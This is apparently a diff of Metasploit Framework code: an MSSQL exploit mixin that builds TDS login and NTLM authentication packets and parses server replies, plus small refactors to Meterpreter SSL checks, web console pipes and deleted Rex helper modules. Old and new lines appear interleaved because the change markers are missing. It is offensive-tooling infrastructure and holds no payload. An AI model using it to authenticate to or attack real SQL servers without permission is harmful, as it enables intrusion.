0x00, # Token 0 type Version
|
||||
idx , # VersionOffset
|
||||
version.length, # VersionLength
|
||||
idx = 21 # size of pkt_data_token
|
||||
pkt_data_token << [
|
||||
0x00, # Token 0 type Version
|
||||
idx, # VersionOffset
|
||||
version.length, # VersionLength
|
||||
|
||||
0x01, # Token 1 type Encryption
|
||||
idx = idx + version.length, # EncryptionOffset
|
||||
0x01, # EncryptionLength
|
||||
0x01, # Token 1 type Encryption
|
||||
idx = idx + version.length, # EncryptionOffset
|
||||
0x01, # EncryptionLength
|
||||
|
||||
0x02, # Token 2 type InstOpt
|
||||
idx = idx + 1, # InstOptOffset
|
||||
instoptdata.length, # InstOptLength
|
||||
0x02, # Token 2 type InstOpt
|
||||
idx = idx + 1, # InstOptOffset
|
||||
instoptdata.length, # InstOptLength
|
||||
|
||||
0x03, # Token 3 type Threadid
|
||||
idx + instoptdata.length, # ThreadIdOffset
|
||||
0x04, # ThreadIdLength
|
||||
0x03, # Token 3 type Threadid
|
||||
idx + instoptdata.length, # ThreadIdOffset
|
||||
0x04, # ThreadIdLength
|
||||
|
||||
0xFF
|
||||
].pack("CnnCnnCnnCnnC")
|
||||
0xFF
|
||||
].pack("CnnCnnCnnCnnC")
|
||||
|
||||
pkt_data << pkt_data_token
|
||||
pkt_data << version
|
||||
pkt_data << encryption
|
||||
pkt_data << instoptdata
|
||||
pkt_data << threadid
|
||||
pkt_data << pkt_data_token
|
||||
pkt_data << version
|
||||
pkt_data << encryption
|
||||
pkt_data << instoptdata
|
||||
pkt_data << threadid
|
||||
|
||||
pkt_hdr[2] = pkt_data.length + 8
|
||||
pkt_hdr[2] = pkt_data.length + 8
|
||||
|
||||
pkt = pkt_hdr.pack("CCnnCC") + pkt_data
|
||||
pkt = pkt_hdr.pack("CCnnCC") + pkt_data
|
||||
|
||||
resp = mssql_send_recv(pkt)
|
||||
resp = mssql_send_recv(pkt)
|
||||
|
||||
idx = 0
|
||||
idx = 0
|
||||
|
||||
while resp and resp[0,1] != "\xff" and resp.length > 5
|
||||
token = resp.slice!(0,5)
|
||||
token = token.unpack("Cnn")
|
||||
idx -= 5
|
||||
if token[0] == 0x01
|
||||
|
||||
idx += token[1]
|
||||
break
|
||||
end
|
||||
end
|
||||
if idx > 0
|
||||
encryption_mode = resp[idx,1].unpack("C")[0]
|
||||
else
|
||||
#force to ENCRYPT_NOT_SUP and hope for the best
|
||||
encryption_mode = ENCRYPT_NOT_SUP
|
||||
while resp && resp[0, 1] != "\xff" && resp.length > 5
|
||||
token = resp.slice!(0, 5)
|
||||
token = token.unpack("Cnn")
|
||||
idx -= 5
|
||||
if token[0] == 0x01
|
||||
idx += token[1]
|
||||
break
|
||||
end
|
||||
end
|
||||
|
||||
if encryption_mode != ENCRYPT_NOT_SUP and enc_error
|
||||
raise RuntimeError,"Encryption is not supported"
|
||||
end
|
||||
encryption_mode
|
||||
if idx > 0
|
||||
encryption_mode = resp[idx, 1].unpack("C")[0]
|
||||
else
|
||||
# force to ENCRYPT_NOT_SUP and hope for the best
|
||||
encryption_mode = ENCRYPT_NOT_SUP
|
||||
end
|
||||
|
||||
if encryption_mode != ENCRYPT_NOT_SUP && enc_error
|
||||
raise RuntimeError,"Encryption is not supported"
|
||||
end
|
||||
encryption_mode
|
||||
end
|
||||
|
||||
#
|
||||
|
@ -401,14 +384,14 @@ module Exploit::Remote::MSSQL
|
|||
idx = 0
|
||||
pkt = ''
|
||||
pkt_hdr = ''
|
||||
pkt_hdr = [
|
||||
pkt_hdr = [
|
||||
TYPE_TDS7_LOGIN, #type
|
||||
STATUS_END_OF_MESSAGE, #status
|
||||
0x0000, #length
|
||||
0x0000, # SPID
|
||||
0x01, # PacketID (unused upon specification
|
||||
0x01, # PacketID (unused upon specification
|
||||
# but ms network monitor stil prefer 1 to decode correctly, wireshark don't care)
|
||||
0x00 #Window
|
||||
0x00 #Window
|
||||
]
|
||||
|
||||
pkt << [
|
||||
|
@ -431,19 +414,18 @@ module Exploit::Remote::MSSQL
|
|||
sname = Rex::Text.to_unicode( rhost )
|
||||
dname = Rex::Text.to_unicode( db )
|
||||
|
||||
ntlm_options = {
|
||||
:signing => false,
|
||||
:usentlm2_session => datastore['NTLM::UseNTLM2_session'],
|
||||
:use_ntlmv2 => datastore['NTLM::UseNTLMv2'],
|
||||
:send_lm => datastore['NTLM::SendLM'],
|
||||
:send_ntlm => datastore['NTLM::SendNTLM']
|
||||
}
|
||||
|
||||
ntlmssp_flags = NTLM_UTILS.make_ntlm_flags(ntlm_options)
|
||||
workstation_name = Rex::Text.rand_text_alpha(rand(8)+1)
|
||||
domain_name = datastore['DOMAIN']
|
||||
|
||||
ntlmsspblob = NTLM_UTILS::make_ntlmssp_blob_init(domain_name, workstation_name, ntlmssp_flags)
|
||||
ntlm_client = ::Net::NTLM::Client.new(
|
||||
user,
|
||||
pass,
|
||||
workstation: workstation_name,
|
||||
domain: datastore['DOMAIN'],
|
||||
)
|
||||
type1 = ntlm_client.init_context
|
||||
# SQL 2012, at least, does not support KEY_EXCHANGE
|
||||
type1.flag &= ~ ::Net::NTLM::FLAGS[:KEY_EXCHANGE]
|
||||
ntlmsspblob = type1.serialize
|
||||
|
||||
idx = pkt.size + 50 # lengths below
|
||||
|
||||
|
@ -484,9 +466,9 @@ module Exploit::Remote::MSSQL
|
|||
pkt << ntlmsspblob
|
||||
|
||||
# Total packet length
|
||||
pkt[0,4] = [pkt.length].pack('V')
|
||||
pkt[0, 4] = [pkt.length].pack('V')
|
||||
|
||||
pkt_hdr[2] = pkt.length + 8
|
||||
pkt_hdr[2] = pkt.length + 8
|
||||
|
||||
pkt = pkt_hdr.pack("CCnnCC") + pkt
|
||||
|
||||
|
@ -494,56 +476,36 @@ module Exploit::Remote::MSSQL
|
|||
# has a strange behavior that differs from the specifications
|
||||
# upon receiving the ntlm_negociate request it send an ntlm_challenge but the status flag of the tds packet header
|
||||
# is set to STATUS_NORMAL and not STATUS_END_OF_MESSAGE, then internally it waits for the ntlm_authentification
|
||||
resp = mssql_send_recv(pkt,15, false)
|
||||
resp = mssql_send_recv(pkt, 15, false)
|
||||
|
||||
# Get default data
|
||||
begin
|
||||
blob_data = NTLM_UTILS.parse_ntlm_type_2_blob(resp)
|
||||
# a domain.length < 3 will hit this
|
||||
rescue NTLM_XCEPT::NTLMMissingChallenge
|
||||
unless resp.include?("NTLMSSP")
|
||||
info = {:errors => []}
|
||||
mssql_parse_reply(resp, info)
|
||||
mssql_print_reply(info)
|
||||
return false
|
||||
end
|
||||
challenge_key = blob_data[:challenge_key]
|
||||
server_ntlmssp_flags = blob_data[:server_ntlmssp_flags] #else should raise an error
|
||||
#netbios name
|
||||
default_name = blob_data[:default_name] || ''
|
||||
#netbios domain
|
||||
default_domain = blob_data[:default_domain] || ''
|
||||
#dns name
|
||||
dns_host_name = blob_data[:dns_host_name] || ''
|
||||
#dns domain
|
||||
dns_domain_name = blob_data[:dns_domain_name] || ''
|
||||
#Client time
|
||||
chall_MsvAvTimestamp = blob_data[:chall_MsvAvTimestamp] || ''
|
||||
|
||||
spnopt = {:use_spn => datastore['NTLM::SendSPN'], :name => self.rhost}
|
||||
|
||||
resp_lm, resp_ntlm, client_challenge, ntlm_cli_challenge = NTLM_UTILS.create_lm_ntlm_responses(user, pass, challenge_key,
|
||||
domain_name, default_name, default_domain,
|
||||
dns_host_name, dns_domain_name, chall_MsvAvTimestamp,
|
||||
spnopt, ntlm_options)
|
||||
|
||||
ntlmssp = NTLM_UTILS.make_ntlmssp_blob_auth(domain_name, workstation_name, user, resp_lm, resp_ntlm, '', ntlmssp_flags)
|
||||
# Get default data
|
||||
resp = resp[3..-1]
|
||||
type3 = ntlm_client.init_context([resp].pack('m'))
|
||||
type3_blob = type3.serialize
|
||||
|
||||
# Create an SSPIMessage
|
||||
idx = 0
|
||||
pkt = ''
|
||||
pkt_hdr = ''
|
||||
pkt_hdr = [
|
||||
TYPE_SSPI_MESSAGE, #type
|
||||
STATUS_END_OF_MESSAGE, #status
|
||||
0x0000, #length
|
||||
0x0000, # SPID
|
||||
0x01, # PacketID
|
||||
0x00 #Window
|
||||
]
|
||||
pkt_hdr = [
|
||||
TYPE_SSPI_MESSAGE, #type
|
||||
STATUS_END_OF_MESSAGE, #status
|
||||
0x0000, #length
|
||||
0x0000, # SPID
|
||||
0x01, # PacketID
|
||||
0x00 #Window
|
||||
]
|
||||
|
||||
pkt_hdr[2] = ntlmssp.length + 8
|
||||
pkt_hdr[2] = type3_blob.length + 8
|
||||
|
||||
pkt = pkt_hdr.pack("CCnnCC") + ntlmssp
|
||||
pkt = pkt_hdr.pack("CCnnCC") + type3_blob
|
||||
|
||||
resp = mssql_send_recv(pkt)
|
||||
|
||||
|
@ -620,7 +582,7 @@ module Exploit::Remote::MSSQL
|
|||
pkt << dname
|
||||
|
||||
# Total packet length
|
||||
pkt[0,4] = [pkt.length].pack('V')
|
||||
pkt[0, 4] = [pkt.length].pack('V')
|
||||
|
||||
# Embedded packet lengths
|
||||
pkt[pkt.index([0x12345678].pack('V')), 8] = [pkt.length].pack('V') * 2
|
||||
|
@ -637,7 +599,7 @@ module Exploit::Remote::MSSQL
|
|||
end
|
||||
|
||||
info = {:errors => []}
|
||||
info = mssql_parse_reply(resp,info)
|
||||
info = mssql_parse_reply(resp, info)
|
||||
|
||||
return false if not info
|
||||
info[:login_ack] ? true : false
|
||||
|
@ -690,17 +652,17 @@ module Exploit::Remote::MSSQL
|
|||
|
||||
print_status("SQL Query: #{info[:sql]}")
|
||||
|
||||
if(info[:done] and info[:done][:rows].to_i > 0)
|
||||
if info[:done] && info[:done][:rows].to_i > 0
|
||||
print_status("Row Count: #{info[:done][:rows]} (Status: #{info[:done][:status]} Command: #{info[:done][:cmd]})")
|
||||
end
|
||||
|
||||
if(info[:errors] and not info[:errors].empty?)
|
||||
if info[:errors] && !info[:errors].empty?
|
||||
info[:errors].each do |err|
|
||||
print_error(err)
|
||||
end
|
||||
end
|
||||
|
||||
if(info[:rows] and not info[:rows].empty?)
|
||||
if info[:rows] && !info[:rows].empty?
|
||||
|
||||
tbl = Rex::Text::Table.new(
|
||||
'Indent' => 1,
|
||||
|
@ -727,14 +689,14 @@ module Exploit::Remote::MSSQL
|
|||
info[:colnames] ||= []
|
||||
|
||||
# Parse out the columns
|
||||
cols = data.slice!(0,2).unpack('v')[0]
|
||||
cols = data.slice!(0, 2).unpack('v')[0]
|
||||
0.upto(cols-1) do |col_idx|
|
||||
col = {}
|
||||
info[:colinfos][col_idx] = col
|
||||
|
||||
col[:utype] = data.slice!(0,2).unpack('v')[0]
|
||||
col[:flags] = data.slice!(0,2).unpack('v')[0]
|
||||
col[:type] = data.slice!(0,1).unpack('C')[0]
|
||||
col[:utype] = data.slice!(0, 2).unpack('v')[0]
|
||||
col[:flags] = data.slice!(0, 2).unpack('v')[0]
|
||||
col[:type] = data.slice!(0, 1).unpack('C')[0]
|
||||
|
||||
case col[:type]
|
||||
when 48
|
||||
|
@ -751,8 +713,8 @@ module Exploit::Remote::MSSQL
|
|||
|
||||
when 34
|
||||
col[:id] = :image
|
||||
col[:max_size] = data.slice!(0,4).unpack('V')[0]
|
||||
col[:value_length] = data.slice!(0,2).unpack('v')[0]
|
||||
col[:max_size] = data.slice!(0, 4).unpack('V')[0]
|
||||
col[:value_length] = data.slice!(0, 2).unpack('v')[0]
|
||||
col[:value] = data.slice!(0, col[:value_length] * 2).gsub("\x00", '')
|
||||
|
||||
when 36
|
||||
|
@ -760,33 +722,33 @@ module Exploit::Remote::MSSQL
|
|||
|
||||
when 38
|
||||
col[:id] = :int
|
||||
col[:int_size] = data.slice!(0,1).unpack('C')[0]
|
||||
col[:int_size] = data.slice!(0, 1).unpack('C')[0]
|
||||
|
||||
when 127
|
||||
col[:id] = :bigint
|
||||
|
||||
when 165
|
||||
col[:id] = :hex
|
||||
col[:max_size] = data.slice!(0,2).unpack('v')[0]
|
||||
col[:max_size] = data.slice!(0, 2).unpack('v')[0]
|
||||
|
||||
when 173
|
||||
col[:id] = :hex # binary(2)
|
||||
col[:max_size] = data.slice!(0,2).unpack('v')[0]
|
||||
col[:max_size] = data.slice!(0, 2).unpack('v')[0]
|
||||
|
||||
when 231,175,167,239
|
||||
when 231, 175, 167, 239
|
||||
col[:id] = :string
|
||||
col[:max_size] = data.slice!(0,2).unpack('v')[0]
|
||||
col[:codepage] = data.slice!(0,2).unpack('v')[0]
|
||||
col[:cflags] = data.slice!(0,2).unpack('v')[0]
|
||||
col[:charset_id] = data.slice!(0,1).unpack('C')[0]
|
||||
col[:max_size] = data.slice!(0, 2).unpack('v')[0]
|
||||
col[:codepage] = data.slice!(0, 2).unpack('v')[0]
|
||||
col[:cflags] = data.slice!(0, 2).unpack('v')[0]
|
||||
col[:charset_id] = data.slice!(0, 1).unpack('C')[0]
|
||||
|
||||
else
|
||||
col[:id] = :unknown
|
||||
end
|
||||
|
||||
col[:msg_len] = data.slice!(0,1).unpack('C')[0]
|
||||
col[:msg_len] = data.slice!(0, 1).unpack('C')[0]
|
||||
|
||||
if(col[:msg_len] and col[:msg_len] > 0)
|
||||
if col[:msg_len] && col[:msg_len] > 0
|
||||
col[:name] = data.slice!(0, col[:msg_len] * 2).gsub("\x00", '')
|
||||
end
|
||||
info[:colnames] << (col[:name] || 'NULL')
|
||||
|
@ -800,7 +762,7 @@ module Exploit::Remote::MSSQL
|
|||
info[:errors] = []
|
||||
return if not data
|
||||
until data.empty?
|
||||
token = data.slice!(0,1).unpack('C')[0]
|
||||
token = data.slice!(0, 1).unpack('C')[0]
|
||||
case token
|
||||
when 0x81
|
||||
mssql_parse_tds_reply(data, info)
|
||||
|
@ -844,28 +806,28 @@ module Exploit::Remote::MSSQL
|
|||
case col[:id]
|
||||
when :hex
|
||||
str = ""
|
||||
len = data.slice!(0,2).unpack('v')[0]
|
||||
if(len > 0 and len < 65535)
|
||||
str << data.slice!(0,len)
|
||||
len = data.slice!(0, 2).unpack('v')[0]
|
||||
if len > 0 && len < 65535
|
||||
str << data.slice!(0, len)
|
||||
end
|
||||
row << str.unpack("H*")[0]
|
||||
|
||||
when :string
|
||||
str = ""
|
||||
len = data.slice!(0,2).unpack('v')[0]
|
||||
if(len > 0 and len < 65535)
|
||||
str << data.slice!(0,len)
|
||||
len = data.slice!(0, 2).unpack('v')[0]
|
||||
if len > 0 && len < 65535
|
||||
str << data.slice!(0, len)
|
||||
end
|
||||
row << str.gsub("\x00", '')
|
||||
|
||||
when :datetime
|
||||
row << data.slice!(0,8).unpack("H*")[0]
|
||||
row << data.slice!(0, 8).unpack("H*")[0]
|
||||
|
||||
when :rawint
|
||||
row << data.slice!(0,4).unpack('V')[0]
|
||||
row << data.slice!(0, 4).unpack('V')[0]
|
||||
|
||||
when :bigint
|
||||
row << data.slice!(0,8).unpack("H*")[0]
|
||||
row << data.slice!(0, 8).unpack("H*")[0]
|
||||
|
||||
when :smallint
|
||||
row << data.slice!(0, 2).unpack("v")[0]
|
||||
|
@ -878,16 +840,16 @@ module Exploit::Remote::MSSQL
|
|||
|
||||
when :image
|
||||
str = ''
|
||||
len = data.slice!(0,1).unpack('C')[0]
|
||||
str = data.slice!(0,len) if (len and len > 0)
|
||||
len = data.slice!(0, 1).unpack('C')[0]
|
||||
str = data.slice!(0, len) if len && len > 0
|
||||
row << str.unpack("H*")[0]
|
||||
|
||||
when :int
|
||||
len = data.slice!(0, 1).unpack("C")[0]
|
||||
raw = data.slice!(0, len) if (len and len > 0)
|
||||
raw = data.slice!(0, len) if len && len > 0
|
||||
|
||||
case len
|
||||
when 0,255
|
||||
when 0, 255
|
||||
row << ''
|
||||
when 1
|
||||
row << raw.unpack("C")[0]
|
||||
|
@ -900,7 +862,7 @@ module Exploit::Remote::MSSQL
|
|||
when 8
|
||||
row << raw.unpack('VV')[0] # XXX: missing high dword
|
||||
else
|
||||
info[:errors] << "invalid integer size: #{len} #{data[0,16].unpack("H*")[0]}"
|
||||
info[:errors] << "invalid integer size: #{len} #{data[0, 16].unpack("H*")[0]}"
|
||||
end
|
||||
else
|
||||
info[:errors] << "unknown column type: #{col.inspect}"
|
||||
|
@ -915,7 +877,7 @@ module Exploit::Remote::MSSQL
|
|||
# Parse a "ret" TDS token
|
||||
#
|
||||
def mssql_parse_ret(data, info)
|
||||
ret = data.slice!(0,4).unpack('N')[0]
|
||||
ret = data.slice!(0, 4).unpack('N')[0]
|
||||
info[:ret] = ret
|
||||
info
|
||||
end
|
||||
|
@ -924,7 +886,7 @@ module Exploit::Remote::MSSQL
|
|||
# Parse a "done" TDS token
|
||||
#
|
||||
def mssql_parse_done(data, info)
|
||||
status,cmd,rows = data.slice!(0,8).unpack('vvV')
|
||||
status, cmd, rows = data.slice!(0, 8).unpack('vvV')
|
||||
info[:done] = { :status => status, :cmd => cmd, :rows => rows }
|
||||
info
|
||||
end
|
||||
|
@ -933,11 +895,11 @@ module Exploit::Remote::MSSQL
|
|||
# Parse an "error" TDS token
|
||||
#
|
||||
def mssql_parse_error(data, info)
|
||||
len = data.slice!(0,2).unpack('v')[0]
|
||||
buff = data.slice!(0,len)
|
||||
len = data.slice!(0, 2).unpack('v')[0]
|
||||
buff = data.slice!(0, len)
|
||||
|
||||
errno,state,sev,elen = buff.slice!(0,8).unpack('VCCv')
|
||||
emsg = buff.slice!(0,elen * 2)
|
||||
errno, state, sev, elen = buff.slice!(0, 8).unpack('VCCv')
|
||||
emsg = buff.slice!(0, elen * 2)
|
||||
emsg.gsub!("\x00", '')
|
||||
|
||||
info[:errors] << "SQL Server Error ##{errno} (State:#{state} Severity:#{sev}): #{emsg}"
|
||||
|
@ -948,17 +910,17 @@ module Exploit::Remote::MSSQL
|
|||
# Parse an "environment change" TDS token
|
||||
#
|
||||
def mssql_parse_env(data, info)
|
||||
len = data.slice!(0,2).unpack('v')[0]
|
||||
buff = data.slice!(0,len)
|
||||
type = buff.slice!(0,1).unpack('C')[0]
|
||||
len = data.slice!(0, 2).unpack('v')[0]
|
||||
buff = data.slice!(0, len)
|
||||
type = buff.slice!(0, 1).unpack('C')[0]
|
||||
|
||||
nval = ''
|
||||
nlen = buff.slice!(0,1).unpack('C')[0] || 0
|
||||
nval = buff.slice!(0,nlen*2).gsub("\x00", '') if nlen > 0
|
||||
nlen = buff.slice!(0, 1).unpack('C')[0] || 0
|
||||
nval = buff.slice!(0, nlen * 2).gsub("\x00", '') if nlen > 0
|
||||
|
||||
oval = ''
|
||||
olen = buff.slice!(0,1).unpack('C')[0] || 0
|
||||
oval = buff.slice!(0,olen*2).gsub("\x00", '') if olen > 0
|
||||
olen = buff.slice!(0, 1).unpack('C')[0] || 0
|
||||
oval = buff.slice!(0, olen * 2).gsub("\x00", '') if olen > 0
|
||||
|
||||
info[:envs] ||= []
|
||||
info[:envs] << { :type => type, :old => oval, :new => nval }
|
||||
|
@ -969,14 +931,14 @@ module Exploit::Remote::MSSQL
|
|||
# Parse an "information" TDS token
|
||||
#
|
||||
def mssql_parse_info(data, info)
|
||||
len = data.slice!(0,2).unpack('v')[0]
|
||||
buff = data.slice!(0,len)
|
||||
len = data.slice!(0, 2).unpack('v')[0]
|
||||
buff = data.slice!(0, len)
|
||||
|
||||
errno,state,sev,elen = buff.slice!(0,8).unpack('VCCv')
|
||||
emsg = buff.slice!(0,elen * 2)
|
||||
errno, state, sev, elen = buff.slice!(0, 8).unpack('VCCv')
|
||||
emsg = buff.slice!(0, elen * 2)
|
||||
emsg.gsub!("\x00", '')
|
||||
|
||||
info[:infos]||= []
|
||||
info[:infos] ||= []
|
||||
info[:infos] << "SQL Server Info ##{errno} (State:#{state} Severity:#{sev}): #{emsg}"
|
||||
info
|
||||
end
|
||||
|
@ -985,8 +947,8 @@ module Exploit::Remote::MSSQL
|
|||
# Parse a "login ack" TDS token
|
||||
#
|
||||
def mssql_parse_login_ack(data, info)
|
||||
len = data.slice!(0,2).unpack('v')[0]
|
||||
buff = data.slice!(0,len)
|
||||
len = data.slice!(0, 2).unpack('v')[0]
|
||||
_buff = data.slice!(0, len)
|
||||
info[:login_ack] = true
|
||||
end
|
||||
end
|
||||
|
|
|
@ -17,12 +17,6 @@ module Msf
|
|||
|
||||
module Exploit::NTLM
|
||||
|
||||
NTLM_CONST = ::Rex::Proto::NTLM::Constants
|
||||
NTLM_CRYPT = ::Rex::Proto::NTLM::Crypt
|
||||
NTLM_UTILS = ::Rex::Proto::NTLM::Utils
|
||||
NTLM_BASE = ::Rex::Proto::NTLM::Base
|
||||
NTLM_MESSAGE = ::Rex::Proto::NTLM::Message
|
||||
|
||||
module Client
|
||||
def initialize(info = {})
|
||||
super
|
||||
|
|
|
@ -3,7 +3,7 @@ require 'rex/io/stream_abstraction'
|
|||
require 'rex/sync/ref'
|
||||
require 'rex/payloads/meterpreter/uri_checksum'
|
||||
require 'rex/post/meterpreter'
|
||||
require 'rex/parser/x509_certificate'
|
||||
require 'rex/socket/x509_certificate'
|
||||
require 'msf/core/payload/windows/verify_ssl'
|
||||
require 'rex/user_agent'
|
||||
|
||||
|
|
|
@ -1,7 +1,7 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
require 'msf/core'
|
||||
require 'rex/parser/x509_certificate'
|
||||
require 'rex/socket/x509_certificate'
|
||||
|
||||
module Msf
|
||||
|
||||
|
@ -25,7 +25,7 @@ module Payload::Windows::VerifySsl
|
|||
raise ArgumentError, "Verifying SSL cert is enabled but no handler cert is configured"
|
||||
end
|
||||
|
||||
hash = Rex::Parser::X509Certificate.get_cert_file_hash(handler_cert)
|
||||
hash = Rex::Socket::X509Certificate.get_cert_file_hash(handler_cert)
|
||||
print_status("Meterpreter will verify SSL Certificate with SHA1 hash #{hash.unpack("H*").first}")
|
||||
hash
|
||||
end
|
||||
|
|
|
@ -1,4 +1,5 @@
|
|||
# -*- coding: binary -*-
|
||||
require 'rex/ui/text/bidirectional_pipe'
|
||||
module Msf
|
||||
module Ui
|
||||
module Web
|
||||
|
@ -83,7 +84,7 @@ module Comm
|
|||
end
|
||||
|
||||
def self.create_session_pipe(session)
|
||||
pipe = Rex::IO::BidirectionalPipe.new
|
||||
pipe = Rex::Ui::BidirectionalPipe.new
|
||||
|
||||
@session_pipes[session.id] = pipe
|
||||
|
||||
|
|
|
@ -1,4 +1,5 @@
|
|||
# -*- coding: binary -*-
|
||||
require 'rex/ui/text/bidirectional_pipe'
|
||||
module Msf
|
||||
module Ui
|
||||
module Web
|
||||
|
@ -18,7 +19,7 @@ class WebConsole
|
|||
attr_accessor :thread
|
||||
|
||||
# Wrapper class in case we need to extend the pipe
|
||||
class WebConsolePipe < Rex::IO::BidirectionalPipe
|
||||
class WebConsolePipe < Rex::Ui::Text::BidirectionalPipe
|
||||
def prompting?
|
||||
false
|
||||
end
|
||||
|
|
|
@ -8,7 +8,7 @@ module Msf
|
|||
module Ui
|
||||
module Web
|
||||
|
||||
require 'rex/io/bidirectional_pipe'
|
||||
require 'rex/ui/text/bidirectional_pipe'
|
||||
require 'msf/ui/web/console'
|
||||
|
||||
|
||||
|
|
|
@ -1,104 +0,0 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
require 'tempfile'
|
||||
require 'rex/file'
|
||||
require 'rex/text'
|
||||
|
||||
module Rex
|
||||
module Assembly
|
||||
|
||||
###
|
||||
#
|
||||
# This class uses nasm to assemble and disassemble stuff.
|
||||
#
|
||||
###
|
||||
class Nasm
|
||||
|
||||
@@nasm_path = 'nasm'
|
||||
@@ndisasm_path = 'ndisasm'
|
||||
|
||||
#
|
||||
# Ensures that the nasm environment is sane.
|
||||
#
|
||||
def self.check
|
||||
@@nasm_path =
|
||||
Rex::FileUtils.find_full_path('nasm') ||
|
||||
Rex::FileUtils.find_full_path('nasm.exe') ||
|
||||
Rex::FileUtils.find_full_path('nasmw.exe') ||
|
||||
raise(RuntimeError, "No nasm installation was found.")
|
||||
|
||||
@@ndisasm_path =
|
||||
Rex::FileUtils.find_full_path('ndisasm') ||
|
||||
Rex::FileUtils.find_full_path('ndisasm.exe') ||
|
||||
Rex::FileUtils.find_full_path('ndisasmw.exe') ||
|
||||
raise(RuntimeError, "No ndisasm installation was found.")
|
||||
end
|
||||
|
||||
#
|
||||
# Assembles the supplied assembly and returns the raw opcodes.
|
||||
#
|
||||
def self.assemble(assembly, bits=32)
|
||||
check
|
||||
|
||||
# Open the temporary file
|
||||
tmp = Tempfile.new('nasmXXXX')
|
||||
tmp.binmode
|
||||
|
||||
tpath = tmp.path
|
||||
opath = tmp.path + '.out'
|
||||
|
||||
# Write the assembly data to a file
|
||||
tmp.write("BITS #{bits}\n" + assembly)
|
||||
tmp.flush()
|
||||
tmp.seek(0)
|
||||
|
||||
# Run nasm
|
||||
if (system(@@nasm_path, '-f', 'bin', '-o', opath, tpath) == false)
|
||||
raise RuntimeError, "Assembler did not complete successfully: #{$?.exitstatus}"
|
||||
end
|
||||
|
||||
# Read the assembled text
|
||||
rv = ::IO.read(opath)
|
||||
|
||||
# Remove temporary files
|
||||
File.unlink(opath)
|
||||
tmp.close(true)
|
||||
|
||||
rv
|
||||
end
|
||||
|
||||
#
|
||||
# Disassembles the supplied raw opcodes
|
||||
#
|
||||
def self.disassemble(raw, bits=32)
|
||||
check
|
||||
|
||||
tmp = Tempfile.new('nasmout')
|
||||
tmp.binmode
|
||||
|
||||
tfd = File.open(tmp.path, "wb")
|
||||
|
||||
tfd.write(raw)
|
||||
tfd.flush()
|
||||
tfd.close
|
||||
|
||||
p = ::IO.popen("\"#{@@ndisasm_path}\" -b #{bits} \"#{tmp.path}\"")
|
||||
o = ''
|
||||
|
||||
begin
|
||||
until p.eof?
|
||||
o += p.read
|
||||
end
|
||||
ensure
|
||||
p.close
|
||||
end
|
||||
|
||||
tmp.close(true)
|
||||
|
||||
o
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
end
|
||||
end
|
|
@ -1,385 +0,0 @@
|
|||
# -*- coding: binary -*-
|
||||
module Rex
|
||||
|
||||
###
|
||||
#
|
||||
# This class provides os-specific functionality
|
||||
#
|
||||
###
|
||||
module Compat
|
||||
|
||||
STD_INPUT_HANDLE = -10
|
||||
STD_OUTPUT_HANDLE = -11
|
||||
STD_ERROR_HANDLE = -12
|
||||
|
||||
GENERIC_READ = 0x80000000
|
||||
GENERIC_WRITE = 0x40000000
|
||||
GENERIC_EXECUTE = 0x20000000
|
||||
|
||||
FILE_SHARE_READ = 0x00000001
|
||||
FILE_SHARE_WRITE = 0x00000002
|
||||
OPEN_EXISTING = 0x00000003
|
||||
|
||||
ENABLE_LINE_INPUT = 2
|
||||
ENABLE_ECHO_INPUT = 4
|
||||
ENABLE_PROCESSED_INPUT = 1
|
||||
|
||||
|
||||
|
||||
#
|
||||
# Platform detection
|
||||
#
|
||||
|
||||
@@is_windows = @@is_cygwin = @@is_macosx = @@is_linux = @@is_bsdi = @@is_freebsd = @@is_netbsd = @@is_openbsd = @@is_java = false
|
||||
@@loaded_win32api = false
|
||||
@@loaded_tempfile = false
|
||||
@@loaded_fileutils = false
|
||||
|
||||
|
||||
def self.is_windows
|
||||
return @@is_windows if @@is_windows
|
||||
@@is_windows = (RUBY_PLATFORM =~ /mswin(32|64)|mingw(32|64)/) ? true : false
|
||||
end
|
||||
|
||||
def self.is_cygwin
|
||||
return @@is_cygwin if @@is_cygwin
|
||||
@@is_cygwin = (RUBY_PLATFORM =~ /cygwin/) ? true : false
|
||||
end
|
||||
|
||||
def self.is_macosx
|
||||
return @@is_macosx if @@is_macosx
|
||||
@@is_macosx = (RUBY_PLATFORM =~ /darwin/) ? true : false
|
||||
end
|
||||
|
||||
def self.is_linux
|
||||
return @@is_linux if @@is_linux
|
||||
@@is_linux = (RUBY_PLATFORM =~ /linux/) ? true : false
|
||||
end
|
||||
|
||||
def self.is_bsdi
|
||||
return @@is_bsdi if @@is_bsdi
|
||||
@@is_bsdi = (RUBY_PLATFORM =~ /bsdi/i) ? true : false
|
||||
end
|
||||
|
||||
def self.is_netbsd
|
||||
return @@is_netbsd if @@is_netbsd
|
||||
@@is_netbsd = (RUBY_PLATFORM =~ /netbsd/) ? true : false
|
||||
end
|
||||
|
||||
def self.is_freebsd
|
||||
return @@is_freebsd if @@is_freebsd
|
||||
@@is_freebsd = (RUBY_PLATFORM =~ /freebsd/) ? true : false
|
||||
end
|
||||
|
||||
def self.is_openbsd
|
||||
return @@is_openbsd if @@is_openbsd
|
||||
@@is_openbsd = (RUBY_PLATFORM =~ /openbsd/) ? true : false
|
||||
end
|
||||
|
||||
def self.is_java
|
||||
return @@is_java if @@is_java
|
||||
@@is_java = (RUBY_PLATFORM =~ /java/) ? true : false
|
||||
end
|
||||
|
||||
def self.is_wow64
|
||||
return false if not is_windows
|
||||
is64 = false
|
||||
begin
|
||||
buff = "\x00" * 4
|
||||
Win32API.new("kernel32","IsWow64Process",['L','P'],'L').call(-1, buff)
|
||||
is64 = (buff.unpack("V")[0]) == 1 ? true : false
|
||||
rescue ::Exception
|
||||
end
|
||||
is64
|
||||
end
|
||||
|
||||
def self.cygwin_to_win32(path)
|
||||
if(path !~ /^\/cygdrive/)
|
||||
return ::IO.popen("cygpath -w #{path}", "rb").read.strip
|
||||
end
|
||||
dir = path.split("/")
|
||||
dir.shift
|
||||
dir.shift
|
||||
dir[0] = dir[0] + ":"
|
||||
dir.join("\\")
|
||||
end
|
||||
|
||||
def self.open_file(url='')
|
||||
case RUBY_PLATFORM
|
||||
when /cygwin/
|
||||
path = self.cygwin_to_win32(url)
|
||||
system(["cmd", "cmd"], "/c", "explorer", path)
|
||||
else
|
||||
self.open_browser(url)
|
||||
end
|
||||
end
|
||||
|
||||
def self.open_browser(url='http://google.com/')
|
||||
case RUBY_PLATFORM
|
||||
when /cygwin/
|
